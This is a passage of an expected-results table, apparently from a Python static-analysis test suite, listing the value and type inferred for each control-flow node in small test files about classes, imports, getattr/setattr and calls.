ClassExpr | class E | builtin-class type | 45 | import | +| g_class_init.py:45 | ControlFlowNode for E | class E | builtin-class type | 45 | import | +| g_class_init.py:45 | ControlFlowNode for object | builtin-class object | builtin-class type | 45 | import | +| g_class_init.py:46 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 46 | import | +| g_class_init.py:46 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 46 | import | +| g_class_init.py:48 | ControlFlowNode for Attribute | 'v2' | builtin-class str | 42 | runtime | +| g_class_init.py:48 | ControlFlowNode for V2 | 'v2' | builtin-class str | 42 | runtime | +| g_class_init.py:48 | ControlFlowNode for self | self | class E | 46 | runtime | +| g_class_init.py:50 | ControlFlowNode for Attribute | 'v3' | builtin-class str | 43 | runtime | +| g_class_init.py:50 | ControlFlowNode for V3 | 'v3' | builtin-class str | 43 | runtime | +| g_class_init.py:50 | ControlFlowNode for self | self | class E | 46 | runtime | +| g_class_init.py:52 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 52 | import | +| g_class_init.py:52 | ControlFlowNode for meth | Function meth | builtin-class function | 52 | import | +| g_class_init.py:53 | ControlFlowNode for Attribute | 'v2' | builtin-class str | 42 | runtime | +| g_class_init.py:53 | ControlFlowNode for Attribute | 'v3' | builtin-class str | 43 | runtime | +| g_class_init.py:53 | ControlFlowNode for Compare | bool False | builtin-class bool | 53 | runtime | +| g_class_init.py:53 | ControlFlowNode for Compare | bool True | builtin-class bool | 53 | runtime | +| g_class_init.py:53 | ControlFlowNode for V2 | 'v2' | builtin-class str | 42 | runtime | +| g_class_init.py:53 | ControlFlowNode for self | self | class E | 52 | runtime | +| h_classes.py:1 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 1 | import | +| h_classes.py:1 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | import | +| h_classes.py:3 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| h_classes.py:3 | ControlFlowNode for ClassExpr | class C | builtin-class type | 3 | import | +| h_classes.py:3 | ControlFlowNode for object | builtin-class object | builtin-class type | 3 | import | +| h_classes.py:5 | ControlFlowNode for Str | 'C_x' | builtin-class str | 5 | import | +| h_classes.py:5 | ControlFlowNode for x | 'C_x' | builtin-class str | 5 | import | +| h_classes.py:7 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 7 | import | +| h_classes.py:7 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 7 | import | +| h_classes.py:8 | ControlFlowNode for Attribute | 'c_y' | builtin-class str | 8 | code/h_classes.py:10 from import | +| h_classes.py:8 | ControlFlowNode for Attribute | 'c_y' | builtin-class str | 8 | code/h_classes.py:15 from runtime | +| h_classes.py:8 | ControlFlowNode for Attribute | 'c_y' | builtin-class str | 8 | runtime | +| h_classes.py:8 | ControlFlowNode for Str | 'c_y' | builtin-class str | 8 | code/h_classes.py:10 from import | +| h_classes.py:8 | ControlFlowNode for Str | 'c_y' | builtin-class str | 8 | code/h_classes.py:15 from runtime | +| h_classes.py:8 | ControlFlowNode for Str | 'c_y' | builtin-class str | 8 | runtime | +| h_classes.py:8 | ControlFlowNode for self | self | class C | 7 | runtime | +| h_classes.py:10 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| h_classes.py:10 | ControlFlowNode for C() | C() | class C | 10 | import | +| h_classes.py:10 | ControlFlowNode for type | builtin-class type | builtin-class type | 10 | import | +| h_classes.py:10 | ControlFlowNode for type() | class C | builtin-class type | 3 | import | +| h_classes.py:11 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | import | +| h_classes.py:11 | ControlFlowNode for type | builtin-class type | builtin-class type | 11 | import | +| h_classes.py:11 | ControlFlowNode for type() | builtin-class module | builtin-class type | 11 | import | +| h_classes.py:12 | ControlFlowNode for Dict | Dict | builtin-class dict | 12 | import | +| h_classes.py:12 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 12 | import | +| h_classes.py:12 | ControlFlowNode for object | builtin-class object | builtin-class type | 12 | import | +| h_classes.py:12 | ControlFlowNode for type | builtin-class type | builtin-class type | 12 | import | +| h_classes.py:14 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 14 | import | +| h_classes.py:14 | ControlFlowNode for k | Function k | builtin-class function | 14 | import | +| h_classes.py:15 | ControlFlowNode for C | class C | builtin-class type | 3 | runtime | +| h_classes.py:15 | ControlFlowNode for C() | C() | class C | 15 | runtime | +| h_classes.py:15 | ControlFlowNode for type | builtin-class type | builtin-class type | 15 | runtime | +| h_classes.py:15 | ControlFlowNode for type() | class C | builtin-class type | 3 | runtime | +| h_classes.py:16 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | runtime | +| h_classes.py:16 | ControlFlowNode for type | builtin-class type | builtin-class type | 16 | runtime | +| h_classes.py:16 | ControlFlowNode for type() | builtin-class module | builtin-class type | 16 | runtime | +| h_classes.py:17 | ControlFlowNode for type | builtin-class type | builtin-class type | 17 | runtime | +| h_classes.py:17 | ControlFlowNode for type() | *UNKNOWN TYPE* | builtin-class type | 17 | runtime | +| h_classes.py:18 | ControlFlowNode for Dict | Dict | builtin-class dict | 18 | runtime | +| h_classes.py:18 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 18 | runtime | +| h_classes.py:18 | ControlFlowNode for object | builtin-class object | builtin-class type | 18 | runtime | +| h_classes.py:18 | ControlFlowNode for type | builtin-class type | builtin-class type | 18 | runtime | +| h_classes.py:23 | ControlFlowNode for Base | class Base | builtin-class type | 23 | import | +| h_classes.py:23 | ControlFlowNode for ClassExpr | class Base | builtin-class type | 23 | import | +| h_classes.py:23 | ControlFlowNode for object | builtin-class object | builtin-class type | 23 | import | +| h_classes.py:25 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 25 | import | +| h_classes.py:25 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 25 | import | +| h_classes.py:26 | ControlFlowNode for Compare | bool False | builtin-class bool | 26 | runtime | +| h_classes.py:26 | ControlFlowNode for Compare | bool True | builtin-class bool | 26 | runtime | +| h_classes.py:26 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 26 | runtime | +| h_classes.py:27 | ControlFlowNode for Attribute | class Derived1 | builtin-class type | 33 | runtime | +| h_classes.py:27 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 33 | runtime | +| h_classes.py:27 | ControlFlowNode for self | self | class Base | 25 | runtime | +| h_classes.py:28 | ControlFlowNode for Compare | bool False | builtin-class bool | 28 | runtime | +| h_classes.py:28 | ControlFlowNode for Compare | bool True | builtin-class bool | 28 | runtime | +| h_classes.py:28 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 28 | runtime | +| h_classes.py:29 | ControlFlowNode for Attribute | class Derived2 | builtin-class type | 36 | runtime | +| h_classes.py:29 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 36 | runtime | +| h_classes.py:29 | ControlFlowNode for self | self | class Base | 25 | runtime | +| h_classes.py:31 | ControlFlowNode for Attribute | class Derived3 | builtin-class type | 39 | runtime | +| h_classes.py:31 | ControlFlowNode for Derived3 | class Derived3 | builtin-class type | 39 | runtime | +| h_classes.py:31 | ControlFlowNode for self | self | class Base | 25 | runtime | +| h_classes.py:33 | ControlFlowNode for Base | class Base | builtin-class type | 23 | import | +| h_classes.py:33 | ControlFlowNode for ClassExpr | class Derived1 | builtin-class type | 33 | import | +| h_classes.py:33 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 33 | import | +| h_classes.py:36 | ControlFlowNode for Base | class Base | builtin-class type | 23 | import | +| h_classes.py:36 | ControlFlowNode for ClassExpr | class Derived2 | builtin-class type | 36 | import | +| h_classes.py:36 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 36 | import | +| h_classes.py:39 | ControlFlowNode for Base | class Base | builtin-class type | 23 | import | +| h_classes.py:39 | ControlFlowNode for ClassExpr | class Derived3 | builtin-class type | 39 | import | +| h_classes.py:39 | ControlFlowNode for Derived3 | class Derived3 | builtin-class type | 39 | import | +| h_classes.py:42 | ControlFlowNode for Base | class Base | builtin-class type | 23 | import | +| h_classes.py:45 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 45 | import | +| h_classes.py:45 | ControlFlowNode for f | Function f | builtin-class function | 45 | import | +| h_classes.py:48 | ControlFlowNode for ClassExpr | class D | builtin-class type | 48 | import | +| h_classes.py:48 | ControlFlowNode for D | class D | builtin-class type | 48 | import | +| h_classes.py:48 | ControlFlowNode for object | builtin-class object | builtin-class type | 48 | import | +| h_classes.py:50 | ControlFlowNode for f | Function f | builtin-class function | 45 | import | +| h_classes.py:50 | ControlFlowNode for m | Function f | builtin-class function | 45 | import | +| h_classes.py:52 | ControlFlowNode for FunctionExpr | Function n | builtin-class function | 52 | import | +| h_classes.py:52 | ControlFlowNode for n | Function n | builtin-class function | 52 | import | +| i_imports.py:3 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 3 | import | +| i_imports.py:3 | ControlFlowNode for a | int 1 | builtin-class int | 3 | import | +| i_imports.py:4 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 4 | import | +| i_imports.py:4 | ControlFlowNode for b | int 2 | builtin-class int | 4 | import | +| i_imports.py:5 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 5 | import | +| i_imports.py:5 | ControlFlowNode for c | int 3 | builtin-class int | 5 | import | +| i_imports.py:7 | ControlFlowNode for ImportExpr | Module code.xyz | builtin-class module | 7 | import | +| i_imports.py:8 | ControlFlowNode for ImportExpr | Module code | builtin-class module | 8 | import | +| i_imports.py:8 | ControlFlowNode for ImportMember | Module code.xyz | builtin-class module | 0 | import | +| i_imports.py:8 | ControlFlowNode for xyz | Module code.xyz | builtin-class module | 0 | import | +| i_imports.py:9 | ControlFlowNode for Attribute | float 1.0 | builtin-class float | 2 | import | +| i_imports.py:9 | ControlFlowNode for xyz | Module code.xyz | builtin-class module | 0 | import | +| i_imports.py:10 | ControlFlowNode for z | float 3.0 | builtin-class float | 4 | import | +| i_imports.py:11 | ControlFlowNode for a | int 1 | builtin-class int | 3 | import | +| i_imports.py:13 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 13 | import | +| i_imports.py:13 | ControlFlowNode for ImportMember | list object | builtin-class list | 13 | import | +| i_imports.py:13 | ControlFlowNode for argv | list object | builtin-class list | 13 | import | +| i_imports.py:15 | ControlFlowNode for argv | list object | builtin-class list | 13 | import | +| i_imports.py:17 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 17 | import | +| i_imports.py:17 | ControlFlowNode for sys | Module sys | builtin-class module | 17 | import | +| i_imports.py:18 | ControlFlowNode for Attribute | list object | builtin-class list | 18 | import | +| i_imports.py:18 | ControlFlowNode for sys | Module sys | builtin-class module | 17 | import | +| i_imports.py:23 | ControlFlowNode for ImportExpr | Module code | builtin-class module | 23 | import | +| i_imports.py:23 | ControlFlowNode for code | Module code | builtin-class module | 23 | import | +| i_imports.py:24 | ControlFlowNode for Attribute | Module code.package.x | builtin-class module | 0 | import | +| i_imports.py:24 | ControlFlowNode for code | Module code | builtin-class module | 23 | import | +| i_imports.py:27 | ControlFlowNode for ImportExpr | Module code.test_package | builtin-class module | 27 | import | +| i_imports.py:29 | ControlFlowNode for ImportExpr | Module _io | builtin-class module | 29 | import | +| i_imports.py:29 | ControlFlowNode for _io | Module _io | builtin-class module | 29 | import | +| i_imports.py:30 | ControlFlowNode for Attribute | builtin-class _io.StringIO | builtin-class type | 30 | import | +| i_imports.py:30 | ControlFlowNode for StringIO | builtin-class _io.StringIO | builtin-class type | 30 | import | +| i_imports.py:30 | ControlFlowNode for _io | Module _io | builtin-class module | 29 | import | +| i_imports.py:31 | ControlFlowNode for Attribute | builtin-class _io.BytesIO | builtin-class type | 31 | import | +| i_imports.py:31 | ControlFlowNode for BytesIO | builtin-class _io.BytesIO | builtin-class type | 31 | import | +| i_imports.py:31 | ControlFlowNode for _io | Module _io | builtin-class module | 29 | import | +| i_imports.py:33 | ControlFlowNode for ImportExpr | Module io | builtin-class module | 33 | import | +| i_imports.py:33 | ControlFlowNode for io | Module io | builtin-class module | 33 | import | +| i_imports.py:34 | ControlFlowNode for Attribute | builtin-class _io.StringIO | builtin-class type | 55 | import | +| i_imports.py:34 | ControlFlowNode for StringIO | builtin-class _io.StringIO | builtin-class type | 55 | import | +| i_imports.py:34 | ControlFlowNode for io | Module io | builtin-class module | 33 | import | +| i_imports.py:35 | ControlFlowNode for Attribute | builtin-class _io.BytesIO | builtin-class type | 55 | import | +| i_imports.py:35 | ControlFlowNode for BytesIO | builtin-class _io.BytesIO | builtin-class type | 55 | import | +| i_imports.py:35 | ControlFlowNode for io | Module io | builtin-class module | 33 | import | +| i_imports.py:37 | ControlFlowNode for ImportExpr | Module code | builtin-class module | 37 | import | +| i_imports.py:37 | ControlFlowNode for code | Module code | builtin-class module | 37 | import | +| i_imports.py:38 | ControlFlowNode for Attribute | Function f2 | builtin-class function | 24 | import | +| i_imports.py:38 | ControlFlowNode for Attribute | Module code.n_nesting | builtin-class module | 0 | import | +| i_imports.py:38 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 24 | import | +| i_imports.py:38 | ControlFlowNode for code | Module code | builtin-class module | 37 | import | +| j_convoluted_imports.py:2 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 2 | import | +| j_convoluted_imports.py:3 | ControlFlowNode for ImportMember | Function module | builtin-class function | 2 | import | +| j_convoluted_imports.py:3 | ControlFlowNode for module | Function module | builtin-class function | 2 | import | +| j_convoluted_imports.py:5 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 5 | import | +| j_convoluted_imports.py:6 | ControlFlowNode for ImportMember | Module code.package.x | builtin-class module | 0 | import | +| j_convoluted_imports.py:6 | ControlFlowNode for x | Module code.package.x | builtin-class module | 0 | import | +| j_convoluted_imports.py:9 | ControlFlowNode for C | class C | builtin-class type | 9 | import | +| j_convoluted_imports.py:9 | ControlFlowNode for ClassExpr | class C | builtin-class type | 9 | import | +| j_convoluted_imports.py:9 | ControlFlowNode for object | builtin-class object | builtin-class type | 9 | import | +| j_convoluted_imports.py:11 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 11 | import | +| j_convoluted_imports.py:11 | ControlFlowNode for ImportMember | int 7 | builtin-class int | 5 | import | +| j_convoluted_imports.py:11 | ControlFlowNode for module2 | int 7 | builtin-class int | 5 | import | +| j_convoluted_imports.py:13 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 13 | import | +| j_convoluted_imports.py:13 | ControlFlowNode for f | Function f | builtin-class function | 13 | import | +| j_convoluted_imports.py:14 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 14 | runtime | +| j_convoluted_imports.py:14 | ControlFlowNode for ImportMember | Module code.package.x | builtin-class module | 0 | runtime | +| j_convoluted_imports.py:14 | ControlFlowNode for x | Module code.package.x | builtin-class module | 0 | runtime | +| j_convoluted_imports.py:16 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 16 | import | +| j_convoluted_imports.py:16 | ControlFlowNode for ImportMember | Module code.package.moduleX | builtin-class module | 0 | import | +| j_convoluted_imports.py:16 | ControlFlowNode for moduleX | Module code.package.moduleX | builtin-class module | 0 | import | +| j_convoluted_imports.py:17 | ControlFlowNode for Attribute | class Y | builtin-class type | 1 | import | +| j_convoluted_imports.py:17 | ControlFlowNode for moduleX | Module code.package.moduleX | builtin-class module | 0 | import | +| k_getsetattr.py:4 | ControlFlowNode for C | class C | builtin-class type | 4 | import | +| k_getsetattr.py:4 | ControlFlowNode for ClassExpr | class C | builtin-class type | 4 | import | +| k_getsetattr.py:4 | ControlFlowNode for object | builtin-class object | builtin-class type | 4 | import | +| k_getsetattr.py:6 | ControlFlowNode for FunctionExpr | Function meth1 | builtin-class function | 6 | import | +| k_getsetattr.py:6 | ControlFlowNode for meth1 | Function meth1 | builtin-class function | 6 | import | +| k_getsetattr.py:7 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 7 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:7 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 7 | runtime | +| k_getsetattr.py:7 | ControlFlowNode for Str | 'a' | builtin-class str | 7 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:7 | ControlFlowNode for Str | 'a' | builtin-class str | 7 | runtime | +| k_getsetattr.py:7 | ControlFlowNode for self | self | class C | 6 | runtime | +| k_getsetattr.py:7 | ControlFlowNode for self | self | class C | 12 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:7 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 7 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:7 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 7 | runtime | +| k_getsetattr.py:7 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 7 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:7 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 7 | runtime | +| k_getsetattr.py:8 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 8 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 8 | runtime | +| k_getsetattr.py:8 | ControlFlowNode for Str | 'b' | builtin-class str | 8 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | ControlFlowNode for Str | 'b' | builtin-class str | 8 | runtime | +| k_getsetattr.py:8 | ControlFlowNode for self | self | class C | 6 | runtime | +| k_getsetattr.py:8 | ControlFlowNode for self | self | class C | 12 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 8 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 8 | runtime | +| k_getsetattr.py:8 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 8 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:8 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 8 | runtime | +| k_getsetattr.py:9 | ControlFlowNode for Str | 'a' | builtin-class str | 9 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:9 | ControlFlowNode for Str | 'a' | builtin-class str | 9 | runtime | +| k_getsetattr.py:9 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 9 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:9 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 9 | runtime | +| k_getsetattr.py:9 | ControlFlowNode for getattr() | int 0 | builtin-class int | 7 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:9 | ControlFlowNode for getattr() | int 0 | builtin-class int | 7 | runtime | +| k_getsetattr.py:9 | ControlFlowNode for self | self | class C | 6 | runtime | +| k_getsetattr.py:9 | ControlFlowNode for self | self | class C | 12 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:10 | ControlFlowNode for Str | 'c' | builtin-class str | 10 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:10 | ControlFlowNode for Str | 'c' | builtin-class str | 10 | runtime | +| k_getsetattr.py:10 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 10 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:10 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 10 | runtime | +| k_getsetattr.py:10 | ControlFlowNode for getattr() | int 2 | builtin-class int | 14 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:10 | ControlFlowNode for self | self | class C | 6 | runtime | +| k_getsetattr.py:10 | ControlFlowNode for self | self | class C | 12 | code/k_getsetattr.py:15 from runtime | +| k_getsetattr.py:12 | ControlFlowNode for FunctionExpr | Function meth2 | builtin-class function | 12 | import | +| k_getsetattr.py:12 | ControlFlowNode for meth2 | Function meth2 | builtin-class function | 12 | import | +| k_getsetattr.py:13 | ControlFlowNode for FloatLiteral | float 7.0 | builtin-class float | 13 | runtime | +| k_getsetattr.py:13 | ControlFlowNode for Str | 'a' | builtin-class str | 13 | runtime | +| k_getsetattr.py:13 | ControlFlowNode for self | self | class C | 12 | runtime | +| k_getsetattr.py:13 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 13 | runtime | +| k_getsetattr.py:13 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 13 | runtime | +| k_getsetattr.py:14 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 14 | runtime | +| k_getsetattr.py:14 | ControlFlowNode for Str | 'c' | builtin-class str | 14 | runtime | +| k_getsetattr.py:14 | ControlFlowNode for self | self | class C | 12 | runtime | +| k_getsetattr.py:14 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 14 | runtime | +| k_getsetattr.py:14 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 14 | runtime | +| k_getsetattr.py:15 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 6 | runtime | +| k_getsetattr.py:15 | ControlFlowNode for self | self | class C | 12 | runtime | +| k_getsetattr.py:16 | ControlFlowNode for Str | 'a' | builtin-class str | 16 | runtime | +| k_getsetattr.py:16 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 16 | runtime | +| k_getsetattr.py:16 | ControlFlowNode for getattr() | int 0 | builtin-class int | 7 | runtime | +| k_getsetattr.py:16 | ControlFlowNode for self | self | class C | 12 | runtime | +| k_getsetattr.py:17 | ControlFlowNode for Str | 'b' | builtin-class str | 17 | runtime | +| k_getsetattr.py:17 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 17 | runtime | +| k_getsetattr.py:17 | ControlFlowNode for getattr() | int 1 | builtin-class int | 8 | runtime | +| k_getsetattr.py:17 | ControlFlowNode for self | self | class C | 12 | runtime | +| k_getsetattr.py:18 | ControlFlowNode for Str | 'c' | builtin-class str | 18 | runtime | +| k_getsetattr.py:18 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 18 | runtime | +| k_getsetattr.py:18 | ControlFlowNode for getattr() | int 2 | builtin-class int | 14 | runtime | +| k_getsetattr.py:18 | ControlFlowNode for self | self | class C | 12 | runtime | +| k_getsetattr.py:21 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 21 | import | +| k_getsetattr.py:21 | ControlFlowNode for k | Function k | builtin-class function | 21 | import | +| k_getsetattr.py:22 | ControlFlowNode for C | class C | builtin-class type | 4 | runtime | +| k_getsetattr.py:22 | ControlFlowNode for C() | C() | class C | 22 | runtime | +| k_getsetattr.py:22 | ControlFlowNode for c1 | C() | class C | 22 | runtime | +| k_getsetattr.py:23 | ControlFlowNode for C | class C | builtin-class type | 4 | runtime | +| k_getsetattr.py:23 | ControlFlowNode for C() | C() | class C | 23 | runtime | +| k_getsetattr.py:23 | ControlFlowNode for c2 | C() | class C | 23 | runtime | +| k_getsetattr.py:24 | ControlFlowNode for C | class C | builtin-class type | 4 | runtime | +| k_getsetattr.py:24 | ControlFlowNode for C() | C() | class C | 24 | runtime | +| k_getsetattr.py:24 | ControlFlowNode for c3 | C() | class C | 24 | runtime | +| k_getsetattr.py:25 | ControlFlowNode for Attribute | int 10 | builtin-class int | 25 | runtime | +| k_getsetattr.py:25 | ControlFlowNode for IntegerLiteral | int 10 | builtin-class int | 25 | runtime | +| k_getsetattr.py:25 | ControlFlowNode for c1 | C() | class C | 22 | runtime | +| k_getsetattr.py:27 | ControlFlowNode for Attribute | int 20 | builtin-class int | 27 | runtime | +| k_getsetattr.py:27 | ControlFlowNode for IntegerLiteral | int 20 | builtin-class int | 27 | runtime | +| k_getsetattr.py:27 | ControlFlowNode for c2 | C() | class C | 23 | runtime | +| k_getsetattr.py:28 | ControlFlowNode for Attribute | int 10 | builtin-class int | 25 | runtime | +| k_getsetattr.py:28 | ControlFlowNode for c1 | C() | class C | 22 | runtime | +| k_getsetattr.py:29 | ControlFlowNode for Attribute | int 20 | builtin-class int | 27 | runtime | +| k_getsetattr.py:29 | ControlFlowNode for c2 | C() | class C | 23 | runtime | +| k_getsetattr.py:30 | ControlFlowNode for c3 | C() | class C | 24 | runtime | +| k_getsetattr.py:31 | ControlFlowNode for Attribute | int 30 | builtin-class int | 31 | runtime | +| k_getsetattr.py:31 | ControlFlowNode for IntegerLiteral | int 30 | builtin-class int | 31 | runtime | +| k_getsetattr.py:31 | ControlFlowNode for c3 | C() | class C | 24 | runtime | +| l_calls.py:3 | ControlFlowNode for FunctionExpr | Function foo | builtin-class function | 3 | import | +| l_calls.py:3 | ControlFlowNode for List | List | builtin-class list | 3 | import | +| l_calls.py:3 | ControlFlowNode for foo | Function foo | builtin-class function | 3 | import | +| l_calls.py:4 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 4 | code/l_calls.py:9 from import | +| l_calls.py:4 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 4 | runtime | +| l_calls.py:4 | ControlFlowNode for Str | 'x' | builtin-class str | 4 | code/l_calls.py:9 from import | +| l_calls.py:4 | ControlFlowNode for Str | 'x' | builtin-class str | 4 | runtime | +| l_calls.py:4 | ControlFlowNode for x | List | builtin-class list | 3 | code/l_calls.py:9 from import | +| l_calls.py:4 | ControlFlowNode for x | List | builtin-class list | 3 | runtime | +| l_calls.py:6 | ControlFlowNode for FunctionExpr | Function bar | builtin-class function | 6 | import | +| l_calls.py:6 | ControlFlowNode for List | List | builtin-class list | 6 | import | +| l_calls.py:6 | ControlFlowNode for bar | Function bar | builtin-class function | 6 | import | +| l_calls.py:7 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 7 | code/l_calls.py:10 from import | +| l_calls.py:7 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 7 | runtime | +| l_calls.py:7 | ControlFlowNode for len() | len() | builtin-class int | 7 | code/l_calls.py:10 from import | +| l_calls.py:7 | ControlFlowNode for len() | len() | builtin-class int | 7 | runtime | +| l_calls.py:7 | ControlFlowNode for x | List | builtin-class list | 6 | code/l_calls.py:10 from import | +| l_calls.py:7 | ControlFlowNode for x | List | builtin-class list | 6 | runtime | +| l_calls.py:9 | ControlFlowNode for foo | Function foo | builtin-class function | 3 | import | +| l_calls.py:9 | ControlFlowNode for foo() | NoneType None | builtin-class NoneType | 4 | import | +| l_calls.py:10 | ControlFlowNode for bar | Function bar | builtin-class function | 6 | import | +| l_calls.py:10 | ControlFlowNode for bar() | len() | builtin-class int | 7 | import | +| l_calls.py:12 | ControlFlowNode for ClassExpr | class Owner | builtin-class type | 12 | import | +| l_calls.py:12 | ControlFlowNode for Owner | class Owner | builtin-class type | 12 | import | +| l_calls.py:12 | ControlFlowNode for object | builtin-class object | builtin-class type | 12 | import | +| l_calls.py:14 | ControlFlowNode for classmethod | builtin-class classmethod | builtin-class type | 14 | import | +| l_calls.py:14 | ControlFlowNode for classmethod() | classmethod() | builtin-class classmethod | 14 | import | +| l_calls.py:15 | ControlFlowNode for FunctionExpr | Function cm | builtin-class function | 15 | import | +| l_calls.py:15 | ControlFlowNode for cm | classmethod() | builtin-class classmethod | 14 | import | +| l_calls.py:16 | ControlFlowNode for cls | class Owner | builtin-class type | 23 | code/l_calls.py:24 from runtime | +| l_calls.py:18 | ControlFlowNode for classmethod | builtin-class classmethod | builtin-class type | 18 | import | +| l_calls.py:18 | ControlFlowNode for classmethod() | classmethod() | builtin-class classmethod | 18 | import | +| l_calls.py:19 | ControlFlowNode for FunctionExpr | Function cm2 | builtin-class function | 19 | import | +| l_calls.py:19 | ControlFlowNode for cm2 | classmethod() | builtin-class classmethod | 18 | import | +| l_calls.py:20 | ControlFlowNode for arg | int 1 | builtin-class int | 25 | code/l_calls.py:25 from runtime | +| l_calls.py:23 | ControlFlowNode for FunctionExpr | Function m | builtin-class function | 23 | import | +| l_calls.py:23 | ControlFlowNode for m | Function m | builtin-class function | 23 | import | +| l_calls.py:24 | ControlFlowNode for Attribute() | class Owner | builtin-class type | 23 | runtime | +| l_calls.py:24 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 24 | runtime | +| l_calls.py:24 | ControlFlowNode for a | class Owner | builtin-class type | 23 | runtime | +| l_calls.py:24 | ControlFlowNode for self | self | class Owner | 23 | runtime | +| l_calls.py:25 | ControlFlowNode for Attribute() | int 1 | builtin-class int | 25 | runtime | +| l_calls.py:25 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 25 | runtime | +| l_calls.py:25 | ControlFlowNode for a | class Owner | builtin-class type | 23 | runtime | +| m_attributes.py:3 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| m_attributes.py:3 | ControlFlowNode for ClassExpr | class C | builtin-class type | 3 | import | +| m_attributes.py:3 | ControlFlowNode for object | builtin-class object | builtin-class type | 3 | import | +| m_attributes.py:5 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 5 | import | +| m_attributes.py:5 | ControlFlowNode for IntegerLiteral | int 17 | builtin-class int | 5 | import | +| m_attributes.py:5 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 5 | import | +| m_attributes.py:6 | ControlFlowNode for Attribute | int 17 | builtin-class int | 5 | runtime | +| m_attributes.py:6 | ControlFlowNode for Attribute | int 100 | builtin-class int | 13 | code/m_attributes.py:13 from import | +| m_attributes.py:6 | ControlFlowNode for a | int 17 | builtin-class int | 5 | runtime | +| m_attributes.py:6 | ControlFlowNode for a | int 100 | builtin-class int | 13 | code/m_attributes.py:13 from import | +| 